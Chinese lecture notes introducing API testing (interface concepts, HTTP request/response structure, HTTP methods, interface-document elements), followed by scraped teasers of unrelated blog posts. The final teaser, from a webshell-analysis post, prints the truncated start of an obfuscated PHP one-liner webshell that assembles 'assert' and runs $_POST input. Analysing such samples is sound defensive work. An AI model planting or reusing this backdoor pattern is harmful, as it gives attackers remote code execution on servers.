第一讲:
1,基本理论知识
第一天内容:抽象、枯燥。
2,工具的操作:
三个工具:
2个发包工具:
Jmeter、PostMan
1个抓包工具:
Fiddler
3,安全测试的内容:
初级,工具的使用:AppScan

1,基本理论知识
2,Jmeter
项目
3,抓包:fiddler
4,Postman
5,安全测试
6,阶段考核

一天的内容:
1,接口相关的理论知识
1,接口的概念、功能、分类
2,接口测试的概念、原理、流程、方法
接口测试:
3,RestFUl风格架构的一些基本知识
2,web工作基本流程的理论知识
1,请求响应的消息结构(重点、理解、记住、必考)
2,http工作的基本流程(了解、理解、熟悉)

1,接口的概念:(重点、理解)

接口:连接的端口

连接:两个系统连接的端口。交互:一个系统要调用另一个系统的功能或者服务,就需要访问另一个系统。

类比:

饮水思源

古代:喝水,打井----井给我们提供水这种服务(功能)

打井:我在11号楼,11号楼打个井(软件)。

望京。就地打个井。

天灾人祸:地震---离开这个地方。人祸:战争。

喝水:背井离乡。

发展到现代,我们有一个解决方案:自来水系统:水管、泵等等。

两个系统:井,人

人要访问(调用)井的供水(功能),需要连接:端口:
水龙头:
人和井之间的接口

Water Human Interface:WHI--高大上

API:
MHI:Machine Human Interface:人机交互界面

人要进教室 人和教室要形成一个通道:门 人调用门的打开功能:门把手

人要使用电力:插座:EHI

USB:设备(手机、U盘、移动硬盘、鼠标、键盘)和电脑之间的接口。

接口的要素:

水龙头:

方法 参数名 参数值 返回值(功能):返回的参数
逆时针旋转把手 角度 5 少量的水 温度 速度
逆时针旋转把手 角度 90 大量的水
顺时针旋转把手 角度 90 停止供水

接口的三要素:方法、参数、返回值。

函数名adder(参数)(x,y)
a= x + 2
b= y*3
return a+b

x.py

函数名adder(参数)(x,y)
a= x + 2
b= y*3
return a+b

10行代码
adder(1,5)
10行代码

接口的概念、要素。

什么是接口:

为什么要有接口:

井:在哪里,就只能在哪里用。

1,通用性:
经济性:

前后端分离:
前端是一个系统
后端是一个系统

单机版的应用程序:使用者的计算机和提供者的计算机分离。

前后端分离的好处:
高效:使用者在哪里用水,不需要关注井打在那里。
分工明确

天气预报:
两种解决方案:
1,
QQ,要自己开发一个天气预报系统
支付宝,自己开发一个。

2,天气预报只有一个:国家开发的。
qq,就在自己的界面调用国家开发的天气预报系统的接口
支付宝,也调用这个接口。

经济:提高经济性,降低成本。避免重复制造轮子。
别人已经写过的实现同样功能的代码。

微积分的代码:封装到一个函数,类中。

语言:库函数。调用接口--函数名,类名,方法。

通用:

资源

例子:天气预报接口:聚合数据。

接口功能
1,高效
2,经济
3,通用

接口分类:
1,定义分:
内部接口:
外部接口:
微信调用聚合数据的天气预报
外卖调用支付宝的支付接口
2,硬件和软件接口

3,软件接口:
GUI:
dos:cmd

4,协议接口:联网
接口调用要遵循一定的网络协议:ftp http tcp等等。

HTTP接口:
HTTP:Hyper(超级) Text(文本)Transfer(传输)Protocol(协议)

协议:约定、规定。

接口测试的大部分工作都是在:协议接口--HTTP接口

OSI七层模型:HTTP协议工作在应用层:第七层
IP层

接口的分类:

换一个角度来看接口:
把接口看做是一个黑盒。

方法 参数名 参数值 返回值(功能):返回的参数
逆时针旋转把手 角度 5 少量的水 温度 速度
逆时针旋转把手 角度 90 大量的水
顺时针旋转把手 角度 90 停止供水

方法、参数名:参数值是对接口(水龙头)进行的一个输入的操作:

返回值:是接口(水龙头)对调用者(人)一个输出的操作

输入数据--接口--输出数据

输入:方法、参数(名、值)----数据
输出:返回值(参数名和值)----数据

接口的本质:进行数据传递的规范
1,进行数据传递的通道
2,遵循一定的规定,约定,规范----水龙头(接口)的设计者

接口的设计者:开发者(架构师、技术负责人、接口开发者)

接口是由接口设计者规定的,
什么是数据传递的规范:
规定什么样的输入,会返回什么样的输出

输入:请求
输出:响应

方法:请求方式
参数:请求参数和响应的参数
返回值:响应

规范是什么样子的:从哪里知道---接口文档

什么是接口文档:定义接口要素的文档。

接口要素:方法、参数、返回值

接口文档的要素,最重要的就是:
请求方式
请求参数
返回示例
返回参数

接口文档的要素(重点、理解、记住、必考)

接口的概念、分类、功能
接口的概念--接口的要素--接口文档的要素

定义了接口的要素,我们就定义了一个接口。

接口文档先有--开发的依据,测试的依据。

1,接口
2,接口测试
web的工作基本流程:http的基本流程

访问互联网:本质是获取互联网上的某个计算机的资源(数据)
:一个图片、一段文本、一个视频、一个音频、一个可执行程序。

人访问互联网:人想调用互联的某个功能:接口调用。

互联网返回的是:资源(图片等数据)

接口第一个解决的问题是:去哪里获取这个资源。

怎么告诉接口资源的位置:URL

比如,百度首页的URL:https://www.baidu.com/
URL:全球统一资源定位符

1,请求:客户端向服务器端输入请求信息
2,响应:服务器端向客户端输出响应信息

1,输入网址:

http端口号默认:80
https端口号默认:443

2,解析:
1,URL:对什么资源做操作
2,做什么操作:增删改查
查询:
GET:获取一个资源----Select

更新:
POST:新增一个资源--insert
PUT:修改一个资源---update
DELETE:删除一个资源---delete
3,生成http请求消息:
请求消息的结构(重点,记住,必考)
请求的行:第一部分只有一行。
方法 空格 URL 空格 http版本号
头部信息:键值对组成,可以有多个
字段名:字段值
空行
消息体数据:携带的消息数据

响应消息的结构(重点,记住,必考)
响应的行(状态行):只有一行
HTTP版本 空格 状态码 空格 响应提示语
响应的头部字段(响应头):若干行的字段名:字段值
空行
消息体数据

上午:
接口的概念(理解)、功能(了解)、分类(了解)、要素(要素)
接口文档的概念、要素

接口的要素:方法、参数、返回值
HTTP接口的要素:请求地址(URL)、请求方式、返回值、参数(请求和响应的参数)

接口文档的要素:(3-7最重要)
1,接口名称
2,简要描述
3,请求URL
4,请求方式
5,请求参数说明
6,返回示例
7,返回参数说明
8,修订信息(文档相关信息)

web的工作流程:

1,字段重要的字段:P7-P8
Content-Type:text/HTML

application/json

HTML json xml plain(纯文本)
2,状态码:P9

DNS:域名和IP地址一一对应的:
www.baidu.com : 123.54.36.221

URI:www.baidu.com/cd/file1.html

FILE1.HTML -- test.html

整个过程最重要的部分:
请求消息(记住)
响应消息(记住)

URL:指定资源的位置
方法:指定对资源的操作:增删改查
post delete put get

响应消息体:返回的数据

http接口的调用:调用了一个百度的get接口:

http接口的四要素:
请求地址(URL):www.baidu.com
请求方式:get
返回值:
参数(请求和响应的参数):
请求参数:
1,URL后边跟参数:GET方法
URL?参数名=参数值&参数名2=参数值&参数名2=参数值

2,消息体中携带参数:POST方法

响应参数:

所有接口测试工具的测试原理(重点,记住,必考):P2
构造接口文档中的请求,模拟用户发送请求,获取服务器返回的响应报文,跟接口文档中的响应示例做比较,从而从接口层面验证业务逻辑是否正确的得到实现。

什么是功能测试:
验证软件的实现是否符合需求文档中的描述
什么是接口测试:
验证接口的实现是否符合接口文档中的描述

接口的本质:数据传递的规范

为什么做接口测试:

接口测试按照内容可以分为:(记住)
接口功能测试
接口性能测试
接口安全测试

接口测试按执行方式分为:
手工测试:班自动化--借助工具手工执行
自动化测试:使用工具和代码结合,实现完全的自动化

最初级的接口测试:
1,知道测什么:
接口文档
2,选择工具:
聚合数据:平台可以进行简单的接口测试
PostMan

接口测试的原理:

初级的接口测试

day01(无用)的更多相关文章

  1. 使用gulp-uncss清理多余无用css

    cnpm 也可以使用npm cnpm install gulp-uncss --save-dev gulpfile.js var gulp = require('gulp'), uncss = req ...

  2. 减小ipa体积之删除frameWork中无用mach-O文件

    最近项目末期, 我们团队为了ipa的大小使用不少的体积减小的方法, 除了一些常规的方法之外, 我分享一下自己研究出来的新思路. 首先我们来简单的介绍一下mach-O. 什么是mach-O? Mach- ...

  3. Oracle监控用户索引使用情况,删除无用索引

    监控当前业务用户索引 一段时间后查询从未被使用的索引,删除无用索引 停止监控索引 1. 监控当前用户所有索引 得到监控所有索引的语句: select 'alter index ' || index_n ...

  4. 清理iOS工程里无用的图片,可瘦身ipa

    工程在经过多人后,往往会出现较多的垃圾,导致打包出来的ipa文件偏大,有时候我们会通过清理代码来给程序瘦身,而瘦身ipa效果明显的,主要通过清理程序里的无用图片. 推荐一个清理图片的应用 https: ...

  5. android删除无用资源文件的python脚本

    随着android项目的进行,如果没有及时删除无用的资源时安装包会越来越大,是时候整理一下废弃资源缩小压缩包了,少年! 其实判断一个资源(drawable,layout)是否没有被使用很简单,文件名( ...

  6. Jquery day01

    day01: 基础--选择器.属性和CSS.文档处理 day02: 高级--筛选.事件.效果.ajax jQuery介绍 JS类库 JavaScript 库封装了很多预定义的对象和实用函数.能帮助使用 ...

  7. python Day01

    Python Day01 Python 简介 介绍 Python 是一种面向对象.直译式的计算机程序设计语言,也是一种功能强大的通用型语言,已经有将近二十年的发展历史,成熟稳定.包含了一组完善而且容易 ...

  8. Spring day01笔记

    struts:web层,比较简单(ValueStack值栈,拦截器) hibernate:dao层,知识点杂 spring:service层,重要,讲多少用多少 --> [了解]   sprin ...

  9. Android lint 删除无用图片文件和配置文件

    Android lint  删除无用.冗余的  配置文件和 图片资源    转载请注明  http://blog.csdn.net/aaawqqq?viewmode=contents Android项 ...

随机推荐

  1. nginx 配置实例-反向代理

    反向代理实例一 虚拟机IP:192.168.116.129实现效果:使用 nginx 反向代理,访问 www.123.com 直接跳转到 虚拟机的192.168.116.129:8080  实验代码  ...

  2. 如何通过QT designer设置不让窗口最大化

    最近使用QT写一个小窗口的程序,窗口通过QT designer制作之后,运行时可以最大化操作,且最大化之后界面上控件也不会随窗口变化而变化,但由于人都比较懒,直接在QT designer设置窗口属性时 ...

  3. RTP通用头部扩展

    概览 本文为阅读RFC5285时对RTP头部扩展的记录笔记,介绍了one-byte-header和two-byte-header情况下的rtp头部扩展 rtp头部扩充 在RFC3550中, 一个通用的 ...

  4. 记一次排查jacoco的过程:java.lang.NoSuchMethodException:ApplyOrderdetail.get$jacocoData()

    一.事件: 公司BA今日在st2环境提测试单,添加产品时候一直过不去,找我帮忙看,因为关系比较熟,正好也不是非常忙,我就帮忙定位了下.首先,我在生产环境重现了下,没有问题,在dev环境重现,也没有问题 ...

  5. React: React组件的生命周期

    一.简介 在前面的第二篇博文中对组件的生命周期虽然做了一个大略介绍,但总感觉说的过于简单,毕竟生命周期是React组件的核心部分.在我们熟练使用React挂载和合成组件来创建应用表现层的过程中,针对数 ...

  6. Git 将已有项目推送到新建的远程仓库

    目录 一.需求: 二.较快捷的操作: 一.需求: 将一个本地的项目推送到一个新建的远程仓库中: 二.较快捷的操作: 1.创建一个远程仓库 以此为例:http://192.168.1.183/git/p ...

  7. 【docker构建】基于docker搭建redis数据库缓存服务

    搭建redis服务 首先拉取镜像==>运行镜像为容器 # 先搜索下redis镜像 [root@VM_0_10_centos wordpress]# docker search redis # 拉 ...

  8. Spring Boot MVC api返回的String无法关联到视图页面

    1:问题 使用 @Restcontroller 返回值定义为String 时 无法返回具体的页面 @RestController public class HelloController { @Get ...

  9. mysql中concat函数的使用相关总结

    concat(str1,str2) 返回结果为连接参数产生的字符串.如有任何一个参数为NULL ,则返回值为 NULL. mysql> select concat('11','22','33') ...

  10. WebShell代码分析溯源(三)

    WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...